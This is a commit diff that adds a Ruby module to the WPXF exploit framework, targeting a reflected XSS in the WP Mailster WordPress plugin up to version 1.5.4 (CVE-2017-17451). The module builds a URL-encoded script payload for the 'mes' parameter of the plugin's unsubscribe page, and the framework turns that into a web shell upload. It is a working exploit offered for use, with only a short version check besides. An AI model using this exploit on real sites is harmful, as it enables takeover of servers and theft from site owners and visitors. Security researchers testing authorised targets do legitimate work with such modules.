Add WP Mailster <= 1.5.4 reflected XSS shell upload

Author: rastating

modules/exploits/wp_mailster_reflected_xss_shell_upload.rb

@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::WpMailsterReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'WP Mailster <= 1.5.4 Reflected XSS Shell Upload',
+      author: [
+        'Ricardo Sanchez',                # Dislosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['CVE', '2017-17451'],
+        ['WPVDB', '8973']
+      ],
+      date: 'Dec 05 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_changelog('wp-mailster', 'readme.txt', '1.5.5')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_plugins, 'wp-mailster', 'view', 'subscription', 'unsubscribe2.php')
+  end
+
+  def xss_payload
+    url_encode("<script>#{xss_ascii_encoded_include_script}</script>")
+  end
+
+  def url_with_xss
+    "#{vulnerable_url}?mes=#{xss_payload}"
+  end
+end